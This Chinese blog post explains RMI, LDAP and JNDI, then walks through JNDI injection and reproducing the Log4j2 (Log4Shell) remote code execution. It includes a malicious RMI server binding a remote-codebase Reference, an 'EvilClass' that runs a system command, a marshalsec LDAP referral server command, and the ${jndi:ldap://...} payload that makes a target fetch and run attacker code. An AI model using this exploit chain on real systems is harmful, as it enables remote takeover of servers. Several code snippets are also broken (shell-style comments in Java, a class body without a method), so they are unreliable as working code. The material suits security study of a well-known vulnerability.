首页 > 其他分享 >JNDI注入 -log4j

JNDI注入 -log4j

时间:2023-07-20 09:26:30浏览次数:36  
标签:java String class log4j JNDI import RMI public 注入

为了更好的了解jndi,必须了解背后的三个服务提供者 基于SPI接口和JNDI构建起了重要的联系

CORBA

分布式计算的概念中.ORB (object request broker) 表示用于分布式环境中远程调用的中间件.在客户端负责接管调用并请求服务端,服务端负责接收请求并将结果返回

一个简单的CORBA程序由三个部分组成 1.IDL 2.客户端 3.服务端

RMI

remote method invocation java的远程方法调用,为应用提供一个远程调用的接口 理解为java自带的RPC框架

    RPC框架 : remote procedure call 主要功能目标是让构建分布式计算应用更容易

    RPC的调用流程 (图片是copy的)    

        

一个简单的RMI hello world主要有三个部分组成,分别是接口,服务端和客户端

接口定义

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

服import java.rmi.registry.Registry;

import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Server implements Hello {

    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }

    public static void main(String args[]) {

        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);  #unicastremoteobject用于JRMP导出远程对象并获取与远程对象的存根
                              
            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}
服务端有两个作用,一方面是实现 Hello 接口,另一方面是通过 RMI Registry 注册当前的实现。其中涉及到两个端口,1098 表示当前对象的 stub 端口,可以用 0 表示随机选择;另外一个是 1099 端口,表示 rmiregistry 的监听端口,后面会讲到

两个端口的作用和调用时机

  1. RMI注册表的1099端口:

    • 作用:RMI注册表的主要作用是存储远程对象的引用,以便客户端能够获取到这些对象并调用其方法。
    • 调用时机:在服务器端的代码中,通过LocateRegistry.getRegistry(1099)获取到RMI注册表对象,并使用该对象进行后续的操作,例如绑定远程对象到注册表。
  2. 导出远程对象的1098端口:

    • 作用:当服务器端要将一个对象导出为远程对象供客户端调用时,需要指定一个端口。导出远程对象的端口号是客户端与服务器之间进行网络通信的端口号。
    • 调用时机:在服务器端的代码中,通过UnicastRemoteObject.exportObject(obj, 1098)将服务器端的对象导出为远程对象,并指定了1098端口。这样,客户端就可以通过该端口与远程对象进行通信。

客户端代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    private Client() {}
    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

LDAP(轻量级目录访问协议)服务端存储数据使用一种树状结构的层次数据库模型,这种模型被称为目录信息树(DIT)。DIT使用一种类似于文件系统的层次结构来组织数据,其中包含根节点、子节点和叶子节点。

在DIT中,数据以条目(entry)的形式存储。每个条目由一个唯一的标识符(Distinguished Name,DN)来标识,DN由多个属性的值组成,这些属性的值按照特定的顺序排列。每个属性都有一个类型(Attribute Type)和一个或多个对应的值(Attribute Values)。

当查询LDAP服务器并查看数据时,数据将按照特定的顺序进行输出。输出顺序通常遵循以下规则:

  1. 子节点优先:首先输出根节点及其直接子节点,然后按照深度优先的顺序输出其他子节点。
  2. 同级节点按照排序规则输出:在同一级别上,节点按照排序规则进行输出,通常按照属性值的字母顺序进行排序。
  3. 属性按照特定顺序输出:对于每个节点,属性及其对应的值按照特定的顺序进行输出,通常按照属性类型的定义顺序进行排序。

 JNDI注入

出了RMI是java特有得远程调用框架,其他都是通用得服务和标准,脱离java独立使用.JNDI就是基于这个基础提供了统一的接口来调用各种服务

JNDI接口 java JDK有5个包实现功能

javax.naming 命名操作,包含context接口和initialcontext接口

javax.naming.directory 用于目录操作,定义了dircontext接口和initialdircontext接口

javax.naming.event 命名目录server中请求时间通知

Reference类

属于Javax.naming的类,对命名/目录系统外部找到对象的引用.提供了JNDI类的引用功能

Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

 

普通jndi                            

使用JNDI查询DNS服务 ( 静态) 

// DNSClient.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class DNSClient {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);    #命名与目录属性的入口dircontext对象
            Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

jndi查询ldap ( 静态) 

代码

public class Client {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:8080");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
            Attributes res = lookCtx.getAttributes("");
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
输出:
{mail=mail: [email protected], userpassword=userPassword: [B@c038203, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: Bob, sn=sn: Roberts, cn=cn: bob}

动态协议转换 

通过initial_context_factory:用来指定初始化协议的工厂类

provider_url : 提供的对应名称的url地址

public class JNDIDynamic {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <domain>");
            return;
        }
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
            Attributes res = lookCtx.getAttributes("", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

通过ctx.lookup来实现通过用户的输入去查询对应的域名 所以关键的是lookup里面的内容能不能可控

JNDI在使用RMI协议面临的供给面

最简单的一段服务端JNDI获取RMI指定对象解析

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

    }
}

攻击手段

1.编写注册一个恶意的RMI服务

public class ServerExp {

    public static void main(String args[]) {

        try {
            Registry registry = LocateRegistry.createRegistry(1099);   # getregistry(1099)?

            String factoryUrl = "http://localhost:5000/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);    # reference类前面有介绍
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);    #tips 这里使用jdk 1.8.0-1.8.1 referencewrapper方法已经在最新版本的jdk移除
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

2.利用javac命令将加载到的evilclass类编译成class文件挂载到web上    #注意恶意类不能包含package信息

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass  {
      Runtime.getRuntime().exec("calc"); #执行任何命令return null;
    }
}

当用户访问主机来到xx.lookup(string) 参数我们使用的exp指定是rmi://attack vps ip/绑定的名字

l如上则是 rmi://attackvps ip /foo 

当加载到我们的evilclass的时候将会在服务器本地执行相应的代码并返回

总结

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞 虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup,比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LOG4J

对低版本 1.8.0 的攻击

漏洞原理

log4j2支持LDAP和RMI协议(只要打印的日志中包括这两个就可以支持),通过名称获得对应的class文件更关键的是会用classloader加载类在本地加载ldap服务端返回的class类.例如:攻击者传入一个恶意class的ldap协议内容.$(jndi:ldap://localhost:9999/test)

创建的这个恶意类可以和上面介绍的类似

漏洞复现

1.搭建恶意ldap服务

使用marshelsec 地址:https://github.com/mbechler/marshalsec marshalsec需要进入Marshalsec文件夹并用MVN进行编译打包 mvn clean package -DskipTests 

  mvn命令解析: 1.clean 清除目标生成的结果 2.package  将项目编译、打包,并将其输出到target目录中。3. -Dskiptests 提高构建速度或者因为某些原因,跳过测试阶段(执行代码确保质量)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

2.恶意codebase服务搭建

编写恶意的Test.java恶意代码并用javac编译成class类  tips:注意类名要与开启的服务url最后的名字相同

并开启本地的8888 http端口

3漏洞利用 

根据一开始写的文件访问相应的路由

http://client/attack/log4j2?logMsg=${jndi:ldap://localhost:9999/Test}

可以看到cmd上有redirect的日志

也可以看到开启http服务的日志中 Test.class被请求

通过这种方法成功执行Test.class内置的恶意文件

由于受攻击的服务器会自动下载并加载恶意类,所以可以通过下载的恶意类判断攻击者的ip是多少、

下载恶意类可能存在web应用程序的根目录下,存储在web服务器的共享目录中。

绕过高版本JDK限制

Oracle JDK 8u121, 7u131, 6u141及以后的版本,为了限制RMI协议的JNDI利用,将系统属性com.sun.jndi.rmi.object.trustURLCodebase的默认值设置为false,即默认不允许RMI从远程地址加载objectfactory类。

标签:java,String,class,log4j,JNDI,import,RMI,public,注入
From: https://www.cnblogs.com/lisenMiller/p/17537294.html

相关文章

  • 我是如何组织 Go 代码的(目录结构 依赖注入 wire)
    背景对于大多数Gopher来说,编写Go程序会直接在目录建立main.go,xxx.go,yyy.go……不是说不好,对于小型工程来说,简单反而简洁明了,我也提倡小工程没必要整一些花里胡哨的东西。毕竟Go语言作为现代微服务的开发新宠,各个方面都比较自由,没有很多约束。我想,这也是它充满活力的原因......
  • SQL注入绕过
    SQL注入绕过1.大小写绕过SQL语句对大小写不敏感、开发人员做的黑名单过滤过于简单。2.双写绕过双学绕过的原理是后台利用正则匹配到敏感词将其替换为空。例如:selselectect->select3.空格过滤如果遇到空格被过滤了,主要的几个思路都是想办法找一个代替品。能替换空格的有......
  • Android使用Dagger注入的方式初始化对象的简单使用
    一.Dagger简介Dagger2是Google开源的一款依靠注入结构,它的前身是square的Dagger1,Dagger2在Android中有着较为广泛的运用。Dagger2根据Java注解,采用annotationProcessor(注解处理器)在项目编译时动态生成依靠注入需求的Java代码,然后咱们在合适的位置手动完结......
  • Cobalt Strike进程注入——CreateRemoteThread案例复现和检测
    CobaltStrike进程注入——CreateRemoteThread案例复现和检测内网两台机器,操作如下: 我使用的是powershell反弹shell执行:看到的sysmon数据采集Networkconnectiondetected:RuleName:Alert,MetasploitUtcTime:2023-07-1803:00:37.856ProcessGuid:{d4c3f587-331d-64......
  • CVE-2023-1454注入分析复现
    简介JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。影响版本Jeecg-Boot<=3.5.1环境搭建idea+后端源码:https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip......
  • Autofac 3种常见注入IOC 以及生命周期
      ......
  • sql注入漏洞
    一、sql注入类型sql注入方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。1.可显注入攻击者可以直接在当前界面内容中获取想要获得的内容。2.报错注入数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击......
  • 泛微ecology FileDownloadForOutDoc-前台sql注入
    厂商发布漏洞补丁Ecology_security_20230707_v9.0_v10.58.0.ziphttps://www.weaver.com.cn/cs/package/Ecology_security_20230707_v9.0_v10.58.0.zip?v=2023070700分析补丁文件ecology\WEB-INF\myclasses\weaver\security\rules\ruleImp\SecurityRuleForOutDocForSql.class......
  • 安全相关--SQL注入
    SQL注入的原因SQL注入的原因是由于特殊符号的组合会产生特殊的效果实际生活中尤其是在注册用户名的时候会非常明显的提示你很多特殊符号不能用因此我们在设计到敏感数据部分不要自己拼接交给现成的方法拼接即可pycharm操作MySQLimportpymysqlconn=pymysql.connect(......
  • 【NestJS系列】DI依赖注入与IOC控制反转
    前言上篇文章我们学习了如何使用nest-cli来快速生成一个NestJS后端项目,当我们打开编辑器查看代码时,会发现整个代码风格有点类似JAVA的spring框架,并且你会发现一些service类在controller控制器的constructor中注入后,可以不需要手动new就可以直接使用该类对应的实例方法。比如:imp......